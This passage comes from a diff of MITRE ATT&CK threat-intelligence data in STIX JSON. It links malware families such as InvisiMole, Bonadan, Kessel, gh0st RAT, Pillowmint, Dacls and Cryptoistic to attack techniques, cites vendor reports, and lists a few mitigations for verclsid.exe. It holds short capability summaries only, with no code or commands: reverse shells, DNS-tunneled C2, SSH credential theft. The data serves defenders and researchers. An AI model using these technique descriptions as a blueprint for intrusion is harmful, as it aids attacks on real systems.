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Win32/Carberp When You\u2019re in a Black Hole, Stop Digging. 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(2012, March 2). Win32/Carberp When You\u2019re in a Black Hole, Stop Digging. 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COVID-19 and FMLA Campaigns used to install new IcedID banking malware. Retrieved July 14, 2020.", + "source_name": "Juniper IcedID June 2020" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--af7ec7e9-08d2-4459-8c05-047185799058", + "description": "[InvisiMole](https://attack.mitre.org/software/S0260) can collect information about installed software used by specific users, software executed on user login, and software executed by each system.(Citation: ESET InvisiMole June 2018)(Citation: ESET InvisiMole June 2020)", + "target_ref": "attack-pattern--e3b6daca-e963-4a69-aee6-ed4fd653ad58", + "modified": "2020-10-21T17:38:02.243Z", + "source_ref": "malware--47afe41c-4c08-485e-b062-c3bd209a1cce", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2020-07-16T15:07:27.066Z", + "external_references": [ + { + "source_name": "ESET InvisiMole June 2018", + "description": "Hromcov\u00e1, Z. (2018, June 07). InvisiMole: Surprisingly equipped spyware, undercover since 2013. Retrieved July 10, 2018.", + "url": "https://www.welivesecurity.com/2018/06/07/invisimole-equipped-spyware-undercover/" + }, + { + "url": "https://www.welivesecurity.com/wp-content/uploads/2020/06/ESET_InvisiMole.pdf", + "description": "Hromcova, Z. and Cherpanov, A. (2020, June). INVISIMOLE: THE HIDDEN PART OF THE STORY. Retrieved July 16, 2020.", + "source_name": "ESET InvisiMole June 2020" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--da7dbcec-4714-4bca-8b90-d3a0a95576d9", + "description": "[InvisiMole](https://attack.mitre.org/software/S0260) can check for the presence of network sniffers, AV, and BitDefender firewall.(Citation: ESET InvisiMole June 2020)", + "target_ref": "attack-pattern--cba37adb-d6fb-4610-b069-dd04c0643384", + "modified": "2020-07-16T15:51:26.020Z", + "source_ref": "malware--47afe41c-4c08-485e-b062-c3bd209a1cce", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2020-07-16T15:07:27.115Z", + "external_references": [ + { + "url": "https://www.welivesecurity.com/wp-content/uploads/2020/06/ESET_InvisiMole.pdf", + "description": "Hromcova, Z. and Cherpanov, A. (2020, June). INVISIMOLE: THE HIDDEN PART OF THE STORY. Retrieved July 16, 2020.", + "source_name": "ESET InvisiMole June 2020" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--9c6804dc-e1d5-43f5-97ee-7d827c9d308d", + "description": "[InvisiMole](https://attack.mitre.org/software/S0260) has used a custom implementation of DNS tunneling to embed C2 communications in DNS requests and replies.(Citation: ESET InvisiMole June 2020)", + "target_ref": "attack-pattern--1996eef1-ced3-4d7f-bf94-33298cabbf72", + "modified": "2020-07-16T15:07:27.123Z", + "source_ref": "malware--47afe41c-4c08-485e-b062-c3bd209a1cce", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2020-07-16T15:07:27.123Z", + "external_references": [ + { + "url": "https://www.welivesecurity.com/wp-content/uploads/2020/06/ESET_InvisiMole.pdf", + "description": "Hromcova, Z. and Cherpanov, A. (2020, June). INVISIMOLE: THE HIDDEN PART OF THE STORY. Retrieved July 16, 2020.", + "source_name": "ESET InvisiMole June 2020" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--3957be97-305f-4d42-9978-868cb83918a2", + "description": "[InvisiMole](https://attack.mitre.org/software/S0260) has used TCP to download additional modules.(Citation: ESET InvisiMole June 2020)", + "target_ref": "attack-pattern--c21d5a77-d422-4a69-acd7-2c53c1faa34b", + "modified": "2020-07-16T15:07:27.128Z", + "source_ref": "malware--47afe41c-4c08-485e-b062-c3bd209a1cce", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2020-07-16T15:07:27.128Z", + "external_references": [ + { + "url": "https://www.welivesecurity.com/wp-content/uploads/2020/06/ESET_InvisiMole.pdf", + "description": "Hromcova, Z. and Cherpanov, A. (2020, June). INVISIMOLE: THE HIDDEN PART OF THE STORY. Retrieved July 16, 2020.", + "source_name": "ESET InvisiMole June 2020" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--db2b0471-38e9-4c50-bf96-1c498f38223c", + "description": "[Bonadan](https://attack.mitre.org/software/S0486) can download additional modules from the C2 server.(Citation: ESET ForSSHe December 2018)", + "target_ref": "attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add", + "modified": "2020-07-16T15:10:35.305Z", + "source_ref": "malware--4c6d62c2-89f5-4159-8fab-0190b1f9d328", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2020-07-16T15:10:35.305Z", + "external_references": [ + { + "url": "https://www.welivesecurity.com/wp-content/uploads/2018/12/ESET-The_Dark_Side_of_the_ForSSHe.pdf", + "description": "Dumont, R., M.L\u00e9veill\u00e9, M., Porcher, H. (2018, December 1). THE DARK SIDE OF THE FORSSHE A landscape of OpenSSH backdoors. Retrieved July 16, 2020.", + "source_name": "ESET ForSSHe December 2018" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--336e0a87-8ee2-420d-8fb8-10ea2c015723", + "description": "[Bonadan](https://attack.mitre.org/software/S0486) can XOR-encrypt C2 communications.(Citation: ESET ForSSHe December 2018)", + "target_ref": "attack-pattern--24bfaeba-cb0d-4525-b3dc-507c77ecec41", + "modified": "2020-07-23T16:24:07.845Z", + "source_ref": "malware--4c6d62c2-89f5-4159-8fab-0190b1f9d328", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2020-07-16T15:10:35.331Z", + "external_references": [ + { + "url": "https://www.welivesecurity.com/wp-content/uploads/2018/12/ESET-The_Dark_Side_of_the_ForSSHe.pdf", + "description": "Dumont, R., M.L\u00e9veill\u00e9, M., Porcher, H. (2018, December 1). THE DARK SIDE OF THE FORSSHE A landscape of OpenSSH backdoors. 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THE DARK SIDE OF THE FORSSHE A landscape of OpenSSH backdoors. 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Retrieved July 23, 2020.", + "source_name": "Trustwave GoldenSpy June 2020" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--6edbc35f-fc02-43ba-84d2-17ff8100f094", + "description": "[GoldenSpy](https://attack.mitre.org/software/S0493) has been packaged with a legitimate tax preparation software.(Citation: Trustwave GoldenSpy June 2020)", + "target_ref": "attack-pattern--bd369cd9-abb8-41ce-b5bb-fff23ee86c00", + "modified": "2020-08-19T16:31:40.703Z", + "source_ref": "malware--b9704a7d-feef-4af9-8898-5280f1686326", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2020-07-23T14:20:48.749Z", + "external_references": [ + { + "url": "https://www.trustwave.com/en-us/resources/library/documents/the-golden-tax-department-and-the-emergence-of-goldenspy-malware/", + "description": "Trustwave SpiderLabs. (2020, June 25). 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Retrieved July 23, 2020.", + "source_name": "Trustwave GoldenSpy2 June 2020" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--f56f953d-7df2-4eee-93b6-f2c8377153bb", + "description": "[Bonadan](https://attack.mitre.org/software/S0486) can create bind and reverse shells on the infected system.(Citation: ESET ForSSHe December 2018)\t", + "target_ref": "attack-pattern--7385dfaf-6886-4229-9ecd-6fd678040830", + "modified": "2020-07-23T16:24:07.813Z", + "source_ref": "malware--4c6d62c2-89f5-4159-8fab-0190b1f9d328", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2020-07-23T16:24:07.813Z", + "external_references": [ + { + "url": "https://www.welivesecurity.com/wp-content/uploads/2018/12/ESET-The_Dark_Side_of_the_ForSSHe.pdf", + "description": "Dumont, R., M.L\u00e9veill\u00e9, M., Porcher, H. (2018, December 1). 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Retrieved July 16, 2020.", + "source_name": "ESET ForSSHe December 2018" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--f6030347-c316-4c5c-b7ce-84c39aa09f85", + "description": "[Bonadan](https://attack.mitre.org/software/S0486) can use the ps command to discover other cryptocurrency miners active on the system.(Citation: ESET ForSSHe December 2018)", + "target_ref": "attack-pattern--8f4a33ec-8b1f-4b80-a2f6-642b2e479580", + "modified": "2020-07-23T16:24:07.818Z", + "source_ref": "malware--4c6d62c2-89f5-4159-8fab-0190b1f9d328", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2020-07-23T16:24:07.818Z", + "external_references": [ + { + "url": "https://www.welivesecurity.com/wp-content/uploads/2018/12/ESET-The_Dark_Side_of_the_ForSSHe.pdf", + "description": "Dumont, R., M.L\u00e9veill\u00e9, M., Porcher, H. (2018, December 1). THE DARK SIDE OF THE FORSSHE A landscape of OpenSSH backdoors. Retrieved July 16, 2020.", + "source_name": "ESET ForSSHe December 2018" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--90126438-03a9-47c8-98c1-222a1d79ef21", + "description": "[Kessel](https://attack.mitre.org/software/S0487) has exfiltrated data via hexadecimal-encoded subdomain fields of DNS queries.(Citation: ESET ForSSHe December 2018)", + "target_ref": "attack-pattern--04fd5427-79c7-44ea-ae13-11b24778ff1c", + "modified": "2020-08-10T19:43:38.327Z", + "source_ref": "malware--c984b414-b766-44c5-814a-2fe96c913c12", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2020-07-23T16:50:06.423Z", + "external_references": [ + { + "url": "https://www.welivesecurity.com/wp-content/uploads/2018/12/ESET-The_Dark_Side_of_the_ForSSHe.pdf", + "description": "Dumont, R., M.L\u00e9veill\u00e9, M., Porcher, H. (2018, December 1). THE DARK SIDE OF THE FORSSHE A landscape of OpenSSH backdoors. Retrieved July 16, 2020.", + "source_name": "ESET ForSSHe December 2018" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--8544d4c3-e2e5-44c6-b57d-a169143f49eb", + "description": "[Kessel](https://attack.mitre.org/software/S0487) has trojanized the ssh_login and user-auth_pubkey functions to steal plaintext credentials.(Citation: ESET ForSSHe December 2018)", + "target_ref": "attack-pattern--f4c1826f-a322-41cd-9557-562100848c84", + "modified": "2020-07-23T16:50:06.426Z", + "source_ref": "malware--c984b414-b766-44c5-814a-2fe96c913c12", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2020-07-23T16:50:06.426Z", + "external_references": [ + { + "url": "https://www.welivesecurity.com/wp-content/uploads/2018/12/ESET-The_Dark_Side_of_the_ForSSHe.pdf", + "description": "Dumont, R., M.L\u00e9veill\u00e9, M., Porcher, H. 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Retrieved April 19, 2019.", + "source_name": "ESET Ebury Feb 2014" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--c16854fa-add6-4be3-9547-05cc479861d8", + "description": "[gh0st RAT](https://attack.mitre.org/software/S0032) has used Zlib to compress C2 communications data before encrypting it.(Citation: Gh0stRAT ATT March 2019)", + "target_ref": "attack-pattern--04fd5427-79c7-44ea-ae13-11b24778ff1c", + "modified": "2020-07-24T13:48:49.757Z", + "source_ref": "malware--88c621a7-aef9-4ae0-94e3-1fc87123eb24", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2020-07-24T13:48:49.757Z", + "external_references": [ + { + "url": "https://cybersecurity.att.com/blogs/labs-research/the-odd-case-of-a-gh0strat-variant", + "description": "Quinn, J. (2019, March 25). The odd case of a Gh0stRAT variant. Retrieved July 15, 2020.", + "source_name": "Gh0stRAT ATT March 2019" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--6397d645-207c-4d1b-9a65-5f1b69a84e7c", + "description": "[gh0st RAT](https://attack.mitre.org/software/S0032) can execute its service if the Service key exists. If the key does not exist, [gh0st RAT](https://attack.mitre.org/software/S0032) will create and run the service.(Citation: Gh0stRAT ATT March 2019)", + "target_ref": "attack-pattern--f1951e8a-500e-4a26-8803-76d95c4554b4", + "modified": "2020-07-24T13:48:49.763Z", + "source_ref": "malware--88c621a7-aef9-4ae0-94e3-1fc87123eb24", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2020-07-24T13:48:49.763Z", + "external_references": [ + { + "url": "https://cybersecurity.att.com/blogs/labs-research/the-odd-case-of-a-gh0strat-variant", + "description": "Quinn, J. (2019, March 25). The odd case of a Gh0stRAT variant. Retrieved July 15, 2020.", + "source_name": "Gh0stRAT ATT March 2019" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--02d4ee3d-adb9-49fc-8e91-3379c508692b", + "description": "[gh0st RAT](https://attack.mitre.org/software/S0032) can load DLLs into memory.(Citation: Gh0stRAT ATT March 2019)", + "target_ref": "attack-pattern--0a5231ec-41af-4a35-83d0-6bdf11f28c65", + "modified": "2020-07-24T13:48:49.761Z", + "source_ref": "malware--88c621a7-aef9-4ae0-94e3-1fc87123eb24", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2020-07-24T13:48:49.761Z", + "external_references": [ + { + "url": "https://cybersecurity.att.com/blogs/labs-research/the-odd-case-of-a-gh0strat-variant", + "description": "Quinn, J. (2019, March 25). The odd case of a Gh0stRAT variant. Retrieved July 15, 2020.", + "source_name": "Gh0stRAT ATT March 2019" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--8977c8db-64e4-44b5-bee9-362779624a42", + "description": "[Pillowmint](https://attack.mitre.org/software/S0517) can iterate through running processes every six seconds collecting a list of processes to capture from later.(Citation: Trustwave Pillowmint June 2020)\t", + "target_ref": "attack-pattern--8f4a33ec-8b1f-4b80-a2f6-642b2e479580", + "modified": "2020-10-02T17:23:24.467Z", + "source_ref": "malware--bd7a9e13-69fa-4243-a5e5-04326a63f9f2", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2020-07-27T15:20:50.273Z", + "external_references": [ + { + "url": "https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/pillowmint-fin7s-monkey-thief/", + "description": "Trustwave SpiderLabs. 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[Pillowmint](https://attack.mitre.org/software/S0517) has also obfuscated the AES key used for encryption.(Citation: Trustwave Pillowmint June 2020)\t", + "target_ref": "attack-pattern--b3d682b6-98f2-4fb0-aa3b-b4df007ca70a", + "modified": "2020-10-06T17:25:07.403Z", + "source_ref": "malware--bd7a9e13-69fa-4243-a5e5-04326a63f9f2", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2020-07-27T15:20:50.270Z", + "external_references": [ + { + "url": "https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/pillowmint-fin7s-monkey-thief/", + "description": "Trustwave SpiderLabs. (2020, June 22). Pillowmint: FIN7\u2019s Monkey Thief . Retrieved July 27, 2020.", + "source_name": "Trustwave Pillowmint June 2020" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--abece522-51dc-4904-b0f9-585db7fb0223", + "description": "[Pillowmint](https://attack.mitre.org/software/S0517) has been decompressed by included shellcode prior to being launched.(Citation: Trustwave Pillowmint June 2020)\t", + "target_ref": "attack-pattern--3ccef7ae-cb5e-48f6-8302-897105fbf55c", + "modified": "2020-10-02T17:23:24.487Z", + "source_ref": "malware--bd7a9e13-69fa-4243-a5e5-04326a63f9f2", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2020-07-27T15:20:50.275Z", + "external_references": [ + { + "url": "https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/pillowmint-fin7s-monkey-thief/", + "description": "Trustwave SpiderLabs. (2020, June 22). Pillowmint: FIN7\u2019s Monkey Thief . Retrieved July 27, 2020.", + "source_name": "Trustwave Pillowmint June 2020" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--efea6d26-7372-45bb-81bb-1e300abd5b13", + "description": "[Pillowmint](https://attack.mitre.org/software/S0517) has encrypted stolen credit card information with AES and further encoded it with Base64.(Citation: Trustwave Pillowmint June 2020)\t", + "target_ref": "attack-pattern--53ac20cd-aca3-406e-9aa0-9fc7fdc60a5a", + "modified": "2020-10-02T17:23:24.481Z", + "source_ref": "malware--bd7a9e13-69fa-4243-a5e5-04326a63f9f2", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2020-07-27T15:20:50.286Z", + "external_references": [ + { + "url": "https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/pillowmint-fin7s-monkey-thief/", + "description": "Trustwave SpiderLabs. (2020, June 22). Pillowmint: FIN7\u2019s Monkey Thief . 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Retrieved August 10, 2020.", + "source_name": "TrendMicro macOS Dacls May 2020" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--e76a5485-4008-4096-820c-87b7dede9e02", + "description": "[Dacls](https://attack.mitre.org/software/S0497) can scan directories on a compromised host.(Citation: TrendMicro macOS Dacls May 2020)", + "target_ref": "attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18", + "modified": "2020-08-10T13:14:05.205Z", + "source_ref": "malware--3aa169f8-bbf6-44bb-b57d-7f6ada5c2128", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2020-08-10T13:14:05.205Z", + "external_references": [ + { + "url": "https://blog.trendmicro.com/trendlabs-security-intelligence/new-macos-dacls-rat-backdoor-show-lazarus-multi-platform-attack-capability/", + "description": "Mabutas, G. (2020, May 11). New MacOS Dacls RAT Backdoor Shows Lazarus\u2019 Multi-Platform Attack Capability. Retrieved August 10, 2020.", + "source_name": "TrendMicro macOS Dacls May 2020" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--70f6f99e-d791-4af9-b9c2-23b58fc64546", + "description": "[Dacls](https://attack.mitre.org/software/S0497) can encrypt its configuration file with AES CBC.(Citation: TrendMicro macOS Dacls May 2020)", + "target_ref": "attack-pattern--b3d682b6-98f2-4fb0-aa3b-b4df007ca70a", + "modified": "2020-08-10T13:14:05.225Z", + "source_ref": "malware--3aa169f8-bbf6-44bb-b57d-7f6ada5c2128", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2020-08-10T13:14:05.225Z", + "external_references": [ + { + "url": "https://blog.trendmicro.com/trendlabs-security-intelligence/new-macos-dacls-rat-backdoor-show-lazarus-multi-platform-attack-capability/", + "description": "Mabutas, G. (2020, May 11). New MacOS Dacls RAT Backdoor Shows Lazarus\u2019 Multi-Platform Attack Capability. Retrieved August 10, 2020.", + "source_name": "TrendMicro macOS Dacls May 2020" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--79f7d5d7-acbf-4f7e-8530-2f7e637580cd", + "description": "(Citation: SentinelOne Lazarus macOS July 2020)(Citation: TrendMicro macOS Dacls May 2020)", + "target_ref": "malware--3aa169f8-bbf6-44bb-b57d-7f6ada5c2128", + "modified": "2020-08-10T14:45:34.710Z", + "source_ref": "intrusion-set--c93fccb1-e8e8-42cf-ae33-2ad1d183913a", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2020-08-10T13:16:15.132Z", + "external_references": [ + { + "url": "https://www.sentinelone.com/blog/four-distinct-families-of-lazarus-malware-target-apples-macos-platform/", + "description": "Stokes, P. (2020, July 27). Four Distinct Families of Lazarus Malware Target Apple\u2019s macOS Platform. Retrieved August 7, 2020.", + "source_name": "SentinelOne Lazarus macOS July 2020" + }, + { + "url": "https://blog.trendmicro.com/trendlabs-security-intelligence/new-macos-dacls-rat-backdoor-show-lazarus-multi-platform-attack-capability/", + "description": "Mabutas, G. (2020, May 11). New MacOS Dacls RAT Backdoor Shows Lazarus\u2019 Multi-Platform Attack Capability. Retrieved August 10, 2020.", + "source_name": "TrendMicro macOS Dacls May 2020" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--54add4d1-ab65-451e-b3ab-2c045261b082", + "description": "Consider modifying host firewall rules to prevent egress traffic from verclsid.exe.", + "target_ref": "attack-pattern--808e6329-ca91-4b87-ac2d-8eadc5f8f327", + "modified": "2020-08-19T19:29:18.236Z", + "source_ref": "course-of-action--20f6a9df-37c4-4e20-9e47-025983b1b39d", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "mitigates", + "created": "2020-08-10T13:59:38.601Z" + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--423ba5d2-6400-4e35-ba8e-dfbedd0b5303", + "description": "Use application control configured to block execution of verclsid.exe if it is not required for a given system or network to prevent potential misuse by adversaries.", + "target_ref": "attack-pattern--808e6329-ca91-4b87-ac2d-8eadc5f8f327", + "modified": "2020-08-19T19:29:18.280Z", + "source_ref": "course-of-action--47e0e9fe-96ce-4f65-8bb1-8be1feacb5db", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "mitigates", + "created": "2020-08-10T13:59:38.605Z" + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--9767394f-960b-47d4-8123-cfcc5d6ab66a", + "description": "Consider removing verclsid.exe if it is not necessary within a given environment.", + "target_ref": "attack-pattern--808e6329-ca91-4b87-ac2d-8eadc5f8f327", + "modified": "2020-08-19T19:29:18.321Z", + "source_ref": "course-of-action--eb88d97c-32f1-40be-80f0-d61a4b0b4b31", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "mitigates", + "created": "2020-08-10T13:59:38.621Z" + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--2f973098-ef83-43a5-9813-a5aef8ff48dc", + "target_ref": "attack-pattern--457c7820-d331-465a-915e-42f85500ccc4", + "modified": "2020-08-10T13:59:38.625Z", + "source_ref": "attack-pattern--808e6329-ca91-4b87-ac2d-8eadc5f8f327", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "subtechnique-of", + "created": "2020-08-10T13:59:38.625Z" + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--dc802d43-a21f-4871-a281-4896817b9bc1", + "description": "[Cryptoistic](https://attack.mitre.org/software/S0498) has the ability to send and receive files.(Citation: SentinelOne Lazarus macOS July 2020)", + "target_ref": "attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add", + "modified": "2020-08-10T14:43:04.549Z", + "source_ref": "malware--a04d9a4c-bb52-40bf-98ec-e350c2d6a862", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2020-08-10T14:43:04.549Z", + "external_references": [ + { + "url": "https://www.sentinelone.com/blog/four-distinct-families-of-lazarus-malware-target-apples-macos-platform/", + "description": "Stokes, P. (2020, July 27). Four Distinct Families of Lazarus Malware Target Apple\u2019s macOS Platform. Retrieved August 7, 2020.", + "source_name": "SentinelOne Lazarus macOS July 2020" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--9e9b9874-f853-4945-9389-54174c2a7bfc", + "description": "[Cryptoistic](https://attack.mitre.org/software/S0498) can scan a directory to identify files for deletion.(Citation: SentinelOne Lazarus macOS July 2020)", + "target_ref": "attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18", + "modified": "2020-08-10T14:43:04.551Z", + "source_ref": "malware--a04d9a4c-bb52-40bf-98ec-e350c2d6a862", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2020-08-10T14:43:04.551Z", + "external_references": [ + { + "url": "https://www.sentinelone.com/blog/four-distinct-families-of-lazarus-malware-target-apples-macos-platform/", + "description": "Stokes, P. (2020, July 27). Four Distinct Families of Lazarus Malware Target Apple\u2019s macOS Platform. Retrieved August 7, 2020.", + "source_name": "SentinelOne Lazarus macOS July 2020" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--dd2c9cb1-9c5a-4c97-83e4-4beee309a7cb", + "description": "[Cryptoistic](https://attack.mitre.org/software/S0498) can use TCP in communications with C2.(Citation: SentinelOne Lazarus macOS July 2020)", + "target_ref": "attack-pattern--c21d5a77-d422-4a69-acd7-2c53c1faa34b", + "modified": "2020-08-10T14:43:04.559Z", + "source_ref": "malware--a04d9a4c-bb52-40bf-98ec-e350c2d6a862", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2020-08-10T14:43:04.559Z", + "external_references": [ + { + "url": "https://www.sentinelone.com/blog/four-distinct-families-of-lazarus-malware-target-apples-macos-platform/", + "description": "Stokes, P. (2020, July 27). Four Distinct Families of Lazarus Malware Target Apple\u2019s macOS Platform. Retrieved August 7, 2020.", + "source_name": "SentinelOne Lazarus macOS July 2020" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--0d6e04e8-8e4c-4ef6-ab6a-12ddb498e93a", + "description": "[Cryptoistic](https://attack.mitre.org/software/S0498) can engage in encrypted communications with C2.(Citation: SentinelOne Lazarus macOS July 2020)", + "target_ref": "attack-pattern--b8902400-e6c5-4ba2-95aa-2d35b442b118", + "modified": "2020-08-10T14:43:04.562Z", + "source_ref": "malware--a04d9a4c-bb52-40bf-98ec-e350c2d6a862", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2020-08-10T14:43:04.562Z", + "external_references": [ + { + "url": "https://www.sentinelone.com/blog/four-distinct-families-of-lazarus-malware-target-apples-macos-platform/", + "description": "Stokes, P. (2020, July 27). Four Distinct Families of Lazarus Malware Target Apple\u2019s macOS Platform. Retrieved August 7, 2020.", + "source_name": "SentinelOne Lazarus macOS July 2020" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--e3fe5089-90fc-47e6-afc7-fb0c41ba7c0c", + "description": "[Cryptoistic](https://attack.mitre.org/software/S0498) can gather data on the user of a compromised host.(Citation: SentinelOne Lazarus macOS July 2020)", + "target_ref": "attack-pattern--03d7999c-1f4c-42cc-8373-e7690d318104", + "modified": "2020-08-10T14:43:04.594Z", + "source_ref": "malware--a04d9a4c-bb52-40bf-98ec-e350c2d6a862", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2020-08-10T14:43:04.594Z", + "external_references": [ + { + "url": "https://www.sentinelone.com/blog/four-distinct-families-of-lazarus-malware-target-apples-macos-platform/", + "description": "Stokes, P. (2020, July 27). Four Distinct Families of Lazarus Malware Target Apple\u2019s macOS Platform. Retrieved August 7, 2020.", + "source_name": "SentinelOne Lazarus macOS July 2020" + } + ] + }, + { + "object_marking_refs": [ + 